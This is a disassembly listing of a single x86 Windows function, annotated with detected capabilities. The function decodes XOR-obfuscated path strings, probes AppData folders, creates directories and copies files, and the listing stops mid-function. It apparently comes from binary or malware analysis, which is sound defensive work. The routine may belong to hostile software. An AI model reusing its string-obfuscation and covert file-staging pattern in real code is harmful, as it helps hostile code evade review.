Function at 0x414f70
Capabilities:
Copy file
Create directory
Encode data using xor
Get common file path
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
mov eax, dword fs:[0]
push 0x522728
push eax
mov eax, 0x17f0
mov dword fs:[0], esp
call fcn.004fbe50
push ebx
push esi
push edi
mov edi, ecx
push 0x104
lea eax, [ebp - 0x16f0]
mov dword [ebp - 4], 0
push 0
push eax
call fcn.004fd0d0
mov esi, dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp - 0x16f0]
add esp, 0xc
push eax
push 0
push 0
push 0x1a
push 0
call esi
push 0x104
lea eax, [ebp - 0x17f8]
push 0
push eax
call fcn.004fd0d0
add esp, 0xc
lea eax, [ebp - 0x17f8]
push eax
push 0
push 0
push 0x1c
push 0
call esi
movaps xmm0, xmmword [0x549430]
xor ecx, ecx
movups xmmword [ebp - 0x383], xmm0
mov dword [ebp - 0x373], 0xfdf8eaf8
xorps xmm0, xmm0
mov byte [ebp - 0x36f], 0xfe
movq qword [ebp - 0x36e], xmm0
mov word [ebp - 0x366], 0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x383], al
inc ecx
cmp ecx, 0x15
jb 0x415030
lea eax, [ebp - 0x383]
mov dword [0x55d5ac], ecx
push eax
lea ecx, [ebp - 0x11c4]
mov byte [ebp - 0x36e], 0
call fcn.00402ab0
lea ecx, [ebp - 0x11c4]
call fcn.00402b50
push dword [ebp - 0x10]
lea ecx, [ebp - 0x924]
mov esi, eax
call fcn.00402b60
mov ecx, esi
mov byte [ebp - 4], 2
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x415084
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x924]
call fcn.00402b80
lea eax, [ebp - 0x924]
mov byte [ebp - 4], 3
push eax
lea edx, [ebp - 0x16f0]
lea ecx, [ebp - 0xa44]
call fcn.00486e40
add esp, 4
lea ecx, [ebp - 0x924]
call fcn.00402a10
lea ecx, [ebp - 0x11c4]
mov byte [ebp - 4], 6
call fcn.00402a10
lea ecx, [ebp - 0xa44]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test al, al
je 0x415223
movaps xmm0, xmmword [0x547e00]
xor ecx, ecx
mov byte [ebp - 0x416], 0xdb
movups xmmword [ebp - 0x415], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x416], al
inc ecx
cmp ecx, 7
jb 0x415110
lea eax, [ebp - 0x416]
mov dword [0x55d560], ecx
push eax
lea ecx, [ebp - 0x11dc]
mov byte [ebp - 0x40f], 0
call fcn.00402ab0
lea ecx, [ebp - 0x11dc]
mov byte [ebp - 4], 7
call fcn.00402b50
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x868]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0x11dc]
mov byte [ebp - 4], 9
call fcn.00402a10
lea ecx, [ebp - 0x868]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
jne 0x41519a
push 0
lea ecx, [ebp - 0x868]
call fcn.00402b50
push eax
call esi
test eax, eax
je 0x415214
sub esp, 0x18
lea eax, [ebp - 0x868]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.00483010
sub esp, 0x18
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0xa44]
mov ecx, esp
push eax
call fcn.00483010
mov cl, bl
mov byte [ebp - 4], 9
call fcn.00412090
add esp, 0x30
test eax, eax
jne 0x4151dc
mov byte [edi], 1
jmp 0x415214
lea ecx, [ebp - 0x868]
call fcn.00402b50
push eax
lea ecx, [ebp - 0x11f4]
call fcn.00402ab0
push 0
mov dl, 1
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x11f4]
call fcn.0040dc90
add esp, 4
lea ecx, [ebp - 0x11f4]
call fcn.00402a10
lea ecx, [ebp - 0x868]
mov byte [ebp - 4], 6
call fcn.00402a10
movaps xmm0, xmmword [0x5494b0]
xor ecx, ecx
movups xmmword [ebp - 0x594], xmm0
mov byte [ebp - 0x584], 0xe4
xorps xmm0, xmm0
mov word [ebp - 0x57b], 0
movq qword [ebp - 0x583], xmm0
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x594], al
inc ecx
cmp ecx, 0x11
jb 0x415250
lea eax, [ebp - 0x594]
mov dword [0x55d634], ecx
push eax
lea ecx, [ebp - 0x120c]
mov byte [ebp - 0x583], 0
call fcn.00402ab0
lea ecx, [ebp - 0x120c]
call fcn.00402b50
push dword [ebp - 0x14]
lea ecx, [ebp - 0x93c]
mov ebx, eax
call fcn.00402b60
mov ecx, ebx
mov byte [ebp - 4], 0xd
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4152a4
sub ecx, edx
push ecx
push ebx
lea ecx, [ebp - 0x93c]
call fcn.00402b80
lea eax, [ebp - 0x93c]
mov byte [ebp - 4], 0xe
push eax
lea edx, [ebp - 0x16f0]
lea ecx, [ebp - 0xa5c]
call fcn.00486e40
add esp, 4
lea ecx, [ebp - 0x93c]
call fcn.00402a10
lea ecx, [ebp - 0x120c]
mov byte [ebp - 4], 0x11
call fcn.00402a10
lea ecx, [ebp - 0xa5c]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
je 0x415447
movaps xmm0, xmmword [0x547650]
xor ecx, ecx
mov word [ebp - 0x291], 0xcddb
mov byte [ebp - 0x28f], 0xe5
movups xmmword [ebp - 0x28e], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x291], al
inc ecx
cmp ecx, 9
jb 0x415330
lea eax, [ebp - 0x291]
mov dword [0x55d630], ecx
push eax
lea ecx, [ebp - 0x1224]
mov byte [ebp - 0x288], 0
call fcn.00402ab0
lea ecx, [ebp - 0x1224]
mov byte [ebp - 4], 0x12
call fcn.00402b50
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x880]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0x1224]
mov byte [ebp - 4], 0x14
call fcn.00402a10
lea ecx, [ebp - 0x880]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
jne 0x4153be
push 0
lea ecx, [ebp - 0x880]
call fcn.00402b50
push eax
call esi
test eax, eax
je 0x415438
sub esp, 0x18
lea eax, [ebp - 0x880]
mov ecx, esp
mov dword [ebp - 0x14], esp
xor bl, bl
push eax
call fcn.00483010
sub esp, 0x18
mov byte [ebp - 4], 0x15
lea eax, [ebp - 0xa5c]
mov ecx, esp
push eax
call fcn.00483010
mov cl, bl
mov byte [ebp - 4], 0x14
call fcn.00412090
add esp, 0x30
test eax, eax
jne 0x415400
mov byte [edi], 1
jmp 0x415438
lea ecx, [ebp - 0x880]
call fcn.00402b50
push eax
lea ecx, [ebp - 0x123c]
call fcn.00402ab0
push 0
mov dl, 1
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x123c]
call fcn.0040dc90
add esp, 4
lea ecx, [ebp - 0x123c]
call fcn.00402a10
lea ecx, [ebp - 0x880]
mov byte [ebp - 4], 0x11
call fcn.00402a10
movaps xmm0, xmmword [0x549400]
xor ecx, ecx
movups xmmword [ebp - 0x3a2], xmm0
mov dword [ebp - 0x392], 0xfff5f4f6
xorps xmm0, xmm0
mov byte [ebp - 0x38e], 0xef
movq qword [ebp - 0x38d], xmm0
mov word [ebp - 0x385], 0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x3a2], al
inc ecx
cmp ecx, 0x15
jb 0x415480
lea eax, [ebp - 0x3a2]
mov dword [0x55d5ac], ecx
push eax
lea ecx, [ebp - 0x1254]
mov byte [ebp - 0x38d], 0
call fcn.00402ab0
lea ecx, [ebp - 0x1254]
call fcn.00402b50
push dword [ebp - 0x14]
lea ecx, [ebp - 0x954]
mov ebx, eax
call fcn.00402b60
mov ecx, ebx
mov byte [ebp - 4], 0x18
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4154d4
sub ecx, edx
push ecx
push ebx
lea ecx, [ebp - 0x954]
call fcn.00402b80
lea eax, [ebp - 0x954]
mov byte [ebp - 4], 0x19
push eax
lea edx, [ebp - 0x16f0]
lea ecx, [ebp - 0xa74]
call fcn.00486e40
add esp, 4
lea ecx, [ebp - 0x954]
call fcn.00402a10
lea ecx, [ebp - 0x1254]
mov byte [ebp - 4], 0x1c
call fcn.00402a10
lea ecx, [ebp - 0xa74]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
je 0x41566b
movaps xmm0, xmmword [0x5484e0]
xor ecx, ecx
mov byte [ebp - 0x427], 0xdb
movups xmmword [ebp - 0x426], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x427], al
inc ecx
cmp ecx, 7
jb 0x415554
lea eax, [ebp - 0x427]
mov dword [0x55d560], ecx
push eax
lea ecx, [ebp - 0x126c]
mov byte [ebp - 0x420], 0
call fcn.00402ab0
lea ecx, [ebp - 0x126c]
mov byte [ebp - 4], 0x1d
call fcn.00402b50
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x898]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0x126c]
mov byte [ebp - 4], 0x1f
call fcn.00402a10
lea ecx, [ebp - 0x898]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
jne 0x4155e2
push 0
lea ecx, [ebp - 0x898]
call fcn.00402b50
push eax
call esi
test eax, eax
je 0x41565c
sub esp, 0x18
lea eax, [ebp - 0x898]
mov ecx, esp
mov dword [ebp - 0x14], esp
xor bl, bl
push eax
call fcn.00483010
sub esp, 0x18
mov byte [ebp - 4], 0x20
lea eax, [ebp - 0xa74]
mov ecx, esp
push eax
call fcn.00483010
mov cl, bl
mov byte [ebp - 4], 0x1f
call fcn.00412090
add esp, 0x30
test eax, eax
jne 0x415624
mov byte [edi], 1
jmp 0x41565c
lea ecx, [ebp - 0x898]
call fcn.00402b50
push eax
lea ecx, [ebp - 0x1284]
call fcn.00402ab0
push 0
mov dl, 1
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x1284]
call fcn.0040dc90
add esp, 4
lea ecx, [ebp - 0x1284]
call fcn.00402a10
lea ecx, [ebp - 0x898]
mov byte [ebp - 4], 0x1c
call fcn.00402a10
movaps xmm0, xmmword [0x549c30]
xor ecx, ecx
movups xmmword [ebp - 0x3c1], xmm0
mov dword [ebp - 0x3b1], 0xeefcf4fb
xorps xmm0, xmm0
mov byte [ebp - 0x3ad], 0xe8
movq qword [ebp - 0x3ac], xmm0
mov word [ebp - 0x3a4], 0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x3c1], al
inc ecx
cmp ecx, 0x15
jb 0x4156a0
lea eax, [ebp - 0x3c1]
mov dword [0x55d5ac], ecx
push eax
lea ecx, [ebp - 0x129c]
mov byte [ebp - 0x3ac], 0
call fcn.00402ab0
lea ecx, [ebp - 0x129c]
mov byte [ebp - 4], 0x22
call fcn.00402b50
push eax
lea ecx, [ebp - 0x15e4]
call fcn.00402ab0
push eax
lea edx, [ebp - 0x16f0]
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x9fc]
call fcn.00486e40
add esp, 4
lea ecx, [ebp - 0x15e4]
call fcn.00402a10
lea ecx, [ebp - 0x129c]
mov byte [ebp - 4], 0x26
call fcn.00402a10
lea ecx, [ebp - 0x9fc]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
je 0x415877
movaps xmm0, xmmword [0x547150]
xor ecx, ecx
mov dword [ebp - 0x167], 0xefe5cddb
mov word [ebp - 0x163], 0xf8e8
movups xmmword [ebp - 0x161], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x167], al
inc ecx
cmp ecx, 0xc
jb 0x415760
lea eax, [ebp - 0x167]
mov dword [0x55d528], ecx
push eax
lea ecx, [ebp - 0x12b4]
mov byte [ebp - 0x15b], 0
call fcn.00402ab0
lea ecx, [ebp - 0x12b4]
mov byte [ebp - 4], 0x27
call fcn.00402b50
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x8b0]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0x12b4]
mov byte [ebp - 4], 0x29
call fcn.00402a10
lea ecx, [ebp - 0x8b0]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
jne 0x4157ee
push 0
lea ecx, [ebp - 0x8b0]
call fcn.00402b50
push eax
call esi
test eax, eax
je 0x415868
sub esp, 0x18
lea eax, [ebp - 0x8b0]
mov ecx, esp
mov dword [ebp - 0x14], esp
xor bl, bl
push eax
call fcn.00483010
sub esp, 0x18
mov byte [ebp - 4], 0x2a
lea eax, [ebp - 0x9fc]
mov ecx, esp
push eax
call fcn.00483010
mov cl, bl
mov byte [ebp - 4], 0x29
call fcn.00412090
add esp, 0x30
test eax, eax
jne 0x415830
mov byte [edi], 1
jmp 0x415868
lea ecx, [ebp - 0x8b0]
call fcn.00402b50
push eax
lea ecx, [ebp - 0x12cc]
call fcn.00402ab0
push 0
mov dl, 1
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x12cc]
call fcn.0040dc90
add esp, 4
lea ecx, [ebp - 0x12cc]
call fcn.00402a10
lea ecx, [ebp - 0x8b0]
mov byte [ebp - 4], 0x26
call fcn.00402a10
movaps xmm0, xmmword [0x547930]
xor ecx, ecx
mov dword [ebp - 0x4c], 0xe4e6c5db
mov dword [ebp - 0x48], 0xd2e2feee
mov byte [ebp - 0x44], 0xf8
movups xmmword [ebp - 0x43], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x4c], al
inc ecx
cmp ecx, 0xf
jb 0x415896
lea eax, [ebp - 0x4c]
mov dword [0x55d558], ecx
push eax
lea ecx, [ebp - 0x12e4]
mov byte [ebp - 0x3d], 0
call fcn.00402ab0
lea ecx, [ebp - 0x12e4]
mov byte [ebp - 4], 0x2c
call fcn.00402b50
push eax
lea ecx, [ebp - 0x13ec]
call fcn.00402ab0
push eax
lea edx, [ebp - 0x16f0]
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0xa8c]
call fcn.00486e40
add esp, 4
lea ecx, [ebp - 0x13ec]
call fcn.00402a10
lea ecx, [ebp - 0x12e4]
mov byte [ebp - 4], 0x30
call fcn.00402a10
lea ecx, [ebp - 0xa8c]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
je 0x415a57
movaps xmm0, xmmword [0x547660]
xor ecx, ecx
mov byte [ebp - 0x438], 0xdb
movups xmmword [ebp - 0x437], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x438], al
inc ecx
cmp ecx, 7
jb 0x415940
lea eax, [ebp - 0x438]
mov dword [0x55d560], ecx
push eax
lea ecx, [ebp - 0x12fc]
mov byte [ebp - 0x431], 0
call fcn.00402ab0
lea ecx, [ebp - 0x12fc]
mov byte [ebp - 4], 0x31
call fcn.00402b50
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x8c8]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0x12fc]
mov byte [ebp - 4], 0x33
call fcn.00402a10
lea ecx, [ebp - 0x8c8]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
jne 0x4159ce
push 0
lea ecx, [ebp - 0x8c8]
call fcn.00402b50
push eax
call esi
test eax, eax
je 0x415a48
sub esp, 0x18
lea eax, [ebp - 0x8c8]
mov ecx, esp
mov dword [ebp - 0x14], esp
xor bl, bl
push eax
call fcn.00483010
sub esp, 0x18
mov byte [ebp - 4], 0x34
lea eax, [ebp - 0xa8c]
mov ecx, esp
push eax
call fcn.00483010
mov cl, bl
mov byte [ebp - 4], 0x33
call fcn.00412090
add esp, 0x30
test eax, eax
jne 0x415a10
mov byte [edi], 1
jmp 0x415a48
lea ecx, [ebp - 0x8c8]
call fcn.00402b50
push eax
lea ecx, [ebp - 0x1314]
call fcn.00402ab0
push 0
mov dl, 1
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0x1314]
call fcn.0040dc90
add esp, 4
lea ecx, [ebp - 0x1314]
call fcn.00402a10
lea ecx, [ebp - 0x8c8]
mov byte [ebp - 4], 0x30
call fcn.00402a10
movaps xmm0, xmmword [0x5497a0]
xor ecx, ecx
movups xmmword [ebp - 0x600], xmm0
mov byte [ebp - 0x5f0], 0xef
xorps xmm0, xmm0
mov word [ebp - 0x5e7], 0
movq qword [ebp - 0x5ef], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x600], al
inc ecx
cmp ecx, 0x11
jb 0x415a82
lea eax, [ebp - 0x600]
mov dword [0x55d634], ecx
push eax
lea ecx, [ebp - 0x132c]
mov byte [ebp - 0x5ef], 0
call fcn.00402ab0
lea ecx, [ebp - 0x132c]
mov byte [ebp - 4], 0x36
call fcn.00402b50
push eax
lea ecx, [ebp - 0x1404]
call fcn.00402ab0
push eax
lea edx, [ebp - 0x16f0]
mov byte [ebp - 4], 0x37
lea ecx, [ebp - 0x3f4]
call fcn.00486e40
add esp, 4
lea ecx, [ebp - 0x1404]
call fcn.00402a10
lea ecx, [ebp - 0x132c]
mov byte [ebp - 4], 0x3a
call fcn.00402a10
lea ecx, [ebp - 0x3f4]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
je 0x416305
movaps xmm0, xmmword [0x547bd0]
xor ecx, ecx
mov dword [ebp - 0x13b], 0xf2e8c2db
mov word [ebp - 0x137], 0xacf3
mov byte [ebp - 0x135], 0xc1
movups xmmword [ebp - 0x134], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x13b], al
inc ecx
cmp ecx, 0xd
jb 0x415b44
lea eax, [ebp - 0x13b]
mov dword [0x55d57c], ecx
push eax
lea ecx, [ebp - 0x1344]
mov byte [ebp - 0x12e], 0
call fcn.00402ab0
lea ecx, [ebp - 0x1344]
mov byte [ebp - 4], 0x3b
call fcn.00402b50
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x618]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0x1344]
mov byte [ebp - 4], 0x3d
call fcn.00402a10
lea ecx, [ebp - 0x618]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
jne 0x415bd2
push 0
lea ecx, [ebp - 0x618]
call fcn.00402b50
push eax
call esi
test eax, eax
je 0x4162f6
movaps xmm0, xmmword [0x547170]
xor ecx, ecx
mov dword [ebp - 0x209], 0xeee7c1db
movups xmmword [ebp - 0x205], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x209], al
inc ecx
cmp ecx, 0xa
jb 0x415bf0
lea eax, [ebp - 0x209]
mov dword [0x55d5e0], ecx
push eax
lea ecx, [ebp - 0x135c]
mov byte [ebp - 0x1ff], 0
call fcn.00402ab0
lea ecx, [ebp - 0x135c]
mov byte [ebp - 4], 0x3e
call fcn.00402b50
push eax
lea edx, [ebp - 0x3f4]
lea ecx, [ebp - 0x141c]
call fcn.00486d20
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x3f
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
lea ecx, [ebp - 0x141c]
mov bl, al
call fcn.00402a10
lea ecx, [ebp - 0x135c]
mov byte [ebp - 4], 0x3d
call fcn.00402a10
test bl, bl
je 0x415e2a
movaps xmm0, xmmword [0x547170]
xor ecx, ecx
mov dword [ebp - 0x1f5], 0xeee7c1db
movups xmmword [ebp - 0x1f1], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x1f5], al
inc ecx
cmp ecx, 0xa
jb 0x415c94
lea eax, [ebp - 0x1f5]
mov dword [0x55d5e0], ecx
push eax
lea ecx, [ebp - 0x1374]
mov byte [ebp - 0x1eb], 0
call fcn.00402ab0
lea ecx, [ebp - 0x1374]
mov byte [ebp - 4], 0x40
call fcn.00402b50
push eax
lea edx, [ebp - 0x618]
lea ecx, [ebp - 0x790]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0x1374]
mov byte [ebp - 4], 0x42
call fcn.00402a10
lea ecx, [ebp - 0x790]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
jne 0x415d25
push 0
lea ecx, [ebp - 0x790]
call fcn.00402b50
push eax
call esi
test eax, eax
je 0x415e1b
movaps xmm0, xmmword [0x547170]
lea eax, [ebp - 0x790]
sub esp, 0x18
mov dword [ebp - 0x1e1], 0xeee7c1db
mov ecx, esp
mov dword [ebp - 0x14], esp
movups xmmword [ebp - 0x1dd], xmm0
xor bl, bl
push eax
call fcn.00483010
mov byte [ebp - 4], 0x43
xor ecx, ecx
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x1e1], al
inc ecx
cmp ecx, 0xa
jb 0x415d60
lea eax, [ebp - 0x1e1]
mov dword [0x55d5e0], ecx
push eax
lea ecx, [ebp - 0x138c]
mov byte [ebp - 0x1d7], 0
call fcn.00402ab0
sub esp, 0x18
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0x138c]
mov esi, esp
call fcn.00402b50
push eax
lea edx, [ebp - 0x3f4]
mov ecx, esi
call fcn.00486d20
add esp, 4
mov cl, bl
mov byte [ebp - 4], 0x45
call fcn.00412090
add esp, 0x30
mov byte [ebp - 4], 0x42
lea ecx, [ebp - 0x138c]
mov esi, eax
call fcn.00402a10
test esi, esi
jne 0x415ddd
mov byte [edi], 1
jmp 0x415e15
lea ecx, [ebp - 0x790]
call fcn.00402b50
push eax
lea ecx, [ebp - 0x13a4]
call fcn.00402ab0
push 0
mov dl, 1
mov byte [ebp - 4], 0x46
lea ecx, [ebp - 0x13a4]
call fcn.0040dc90
add esp, 4
lea ecx, [ebp - 0x13a4]
call fcn.00402a10
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x790]
mov byte [ebp - 4], 0x3d
call fcn.00402a10
movaps xmm0, xmmword [0x547f20]
xor ecx, ecx
mov dword [ebp - 0x7d], 0xe9e6c4db
mov dword [ebp - 0x79], 0xddade0ea
movups xmmword [ebp - 0x75], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x7d], al
inc ecx
cmp ecx, 0xe
jb 0x415e45
lea eax, [ebp - 0x7d]
mov dword [0x55d524], ecx
push eax
lea ecx, [ebp - 0x13bc]
mov byte [ebp - 0x6f], 0
call fcn.00402ab0
lea ecx, [ebp - 0x13bc]
mov byte [ebp - 4], 0x47
call fcn.00402b50
push eax
lea edx, [ebp - 0x3f4]
lea ecx, [ebp - 0x1434]
call fcn.00486d20
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x48
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
lea ecx, [ebp - 0x1434]
mov bl, al
call fcn.00402a10
lea ecx, [ebp - 0x13bc]
mov byte [ebp - 4], 0x3d
call fcn.00402a10
test bl, bl
je 0x41608a
movaps xmm0, xmmword [0x547f20]
xor ecx, ecx
mov dword [ebp - 0x95], 0xe9e6c4db
mov dword [ebp - 0x91], 0xddade0ea
movups xmmword [ebp - 0x8d], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x95], al
inc ecx
cmp ecx, 0xe
jb 0x415ef0
lea eax, [ebp - 0x95]
mov dword [0x55d524], ecx
push eax
lea ecx, [ebp - 0x13d4]
mov byte [ebp - 0x87], 0
call fcn.00402ab0
lea ecx, [ebp - 0x13d4]
mov byte [ebp - 4], 0x49
call fcn.00402b50
push eax
lea edx, [ebp - 0x618]
lea ecx, [ebp - 0x7a8]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0x13d4]
mov byte [ebp - 4], 0x4b
call fcn.00402a10
lea ecx, [ebp - 0x7a8]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
jne 0x415f81
push 0
lea ecx, [ebp - 0x7a8]
call fcn.00402b50
push eax
call esi
test eax, eax
je 0x41607b
movaps xmm0, xmmword [0x547f20]
lea eax, [ebp - 0x7a8]
sub esp, 0x18
mov dword [ebp - 0xad], 0xe9e6c4db
mov ecx, esp
mov dword [ebp - 0x14], esp
mov dword [ebp - 0xa9], 0xddade0ea
xor bl, bl
movups xmmword [ebp - 0xa5], xmm0
push eax
call fcn.00483010
mov byte [ebp - 4], 0x4c
xor ecx, ecx
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xad], al
inc ecx
cmp ecx, 0xe
jb 0x415fc0
lea eax, [ebp - 0xad]
mov dword [0x55d524], ecx
push eax
lea ecx, [ebp - 0xabc]
mov byte [ebp - 0x9f], 0
call fcn.00402ab0
sub esp, 0x18
mov byte [ebp - 4], 0x4d
lea ecx, [ebp - 0xabc]
mov esi, esp
call fcn.00402b50
push eax
lea edx, [ebp - 0x3f4]
mov ecx, esi
call fcn.00486d20
add esp, 4
mov cl, bl
mov byte [ebp - 4], 0x4e
call fcn.00412090
add esp, 0x30
mov byte [ebp - 4], 0x4b
lea ecx, [ebp - 0xabc]
mov esi, eax
call fcn.00402a10
test esi, esi
jne 0x41603d
mov byte [edi], 1
jmp 0x416075
lea ecx, [ebp - 0x7a8]
call fcn.00402b50
push eax
lea ecx, [ebp - 0xad4]
call fcn.00402ab0
push 0
mov dl, 1
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0xad4]
call fcn.0040dc90
add esp, 4
lea ecx, [ebp - 0xad4]
call fcn.00402a10
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x7a8]
mov byte [ebp - 4], 0x3d
call fcn.00402a10
movaps xmm0, xmmword [0x5499f0]
xor ecx, ecx
movups xmmword [ebp - 0x664], xmm0
mov word [ebp - 0x64c], 0
xorps xmm0, xmm0
movq qword [ebp - 0x654], xmm0
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x664], al
inc ecx
cmp ecx, 0x10
jb 0x4160b0
lea eax, [ebp - 0x664]
mov dword [0x55d628], ecx
push eax
lea ecx, [ebp - 0xaec]
mov byte [ebp - 0x654], 0
call fcn.00402ab0
lea ecx, [ebp - 0xaec]
mov byte [ebp - 4], 0x50
call fcn.00402b50
push eax
lea edx, [ebp - 0x3f4]
lea ecx, [ebp - 0x144c]
call fcn.00486d20
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x51
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
lea ecx, [ebp - 0x144c]
mov bl, al
call fcn.00402a10
lea ecx, [ebp - 0xaec]
mov byte [ebp - 4], 0x3d
call fcn.00402a10
test bl, bl
je 0x4162f6
movaps xmm0, xmmword [0x5499f0]
xor ecx, ecx
movups xmmword [ebp - 0x64a], xmm0
mov word [ebp - 0x632], 0
xorps xmm0, xmm0
movq qword [ebp - 0x63a], xmm0
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x64a], al
inc ecx
cmp ecx, 0x10
jb 0x416160
lea eax, [ebp - 0x64a]
mov dword [0x55d628], ecx
push eax
lea ecx, [ebp - 0xb04]
mov byte [ebp - 0x63a], 0
call fcn.00402ab0
lea ecx, [ebp - 0xb04]
mov byte [ebp - 4], 0x52
call fcn.00402b50
push eax
lea edx, [ebp - 0x618]
lea ecx, [ebp - 0x7c0]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0xb04]
mov byte [ebp - 4], 0x54
call fcn.00402a10
lea ecx, [ebp - 0x7c0]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
jne 0x4161f1
push 0
lea ecx, [ebp - 0x7c0]
call fcn.00402b50
push eax
call esi
test eax, eax
je 0x4162eb
movaps xmm0, xmmword [0x5499f0]
lea eax, [ebp - 0x7c0]
sub esp, 0x18
mov word [ebp - 0x6ce], 0
movups xmmword [ebp - 0x6e6], xmm0
mov dword [ebp - 0x14], esp
mov ecx, esp
xorps xmm0, xmm0
xor bl, bl
push eax
movq qword [ebp - 0x6d6], xmm0
call fcn.00483010
mov byte [ebp - 4], 0x55
xor ecx, ecx
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x6e6], al
inc ecx
cmp ecx, 0x10
jb 0x416230
lea eax, [ebp - 0x6e6]
mov dword [0x55d628], ecx
push eax
lea ecx, [ebp - 0xb1c]
mov byte [ebp - 0x6d6], 0
call fcn.00402ab0
sub esp, 0x18
mov byte [ebp - 4], 0x56
lea ecx, [ebp - 0xb1c]
mov esi, esp
call fcn.00402b50
push eax
lea edx, [ebp - 0x3f4]
mov ecx, esi
call fcn.00486d20
add esp, 4
mov cl, bl
mov byte [ebp - 4], 0x57
call fcn.00412090
add esp, 0x30
mov byte [ebp - 4], 0x54
lea ecx, [ebp - 0xb1c]
mov esi, eax
call fcn.00402a10
test esi, esi
jne 0x4162ad
mov byte [edi], 1
jmp 0x4162e5
lea ecx, [ebp - 0x7c0]
call fcn.00402b50
push eax
lea ecx, [ebp - 0xb34]
call fcn.00402ab0
push 0
mov dl, 1
mov byte [ebp - 4], 0x58
lea ecx, [ebp - 0xb34]
call fcn.0040dc90
add esp, 4
lea ecx, [ebp - 0xb34]
call fcn.00402a10
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x7c0]
call fcn.00402a10
lea ecx, [ebp - 0x618]
mov byte [ebp - 4], 0x3a
call fcn.00402a10
movaps xmm0, xmmword [0x5495e0]
xor ecx, ecx
movups xmmword [ebp - 0x4ee], xmm0
mov word [ebp - 0x4de], 0xfff6
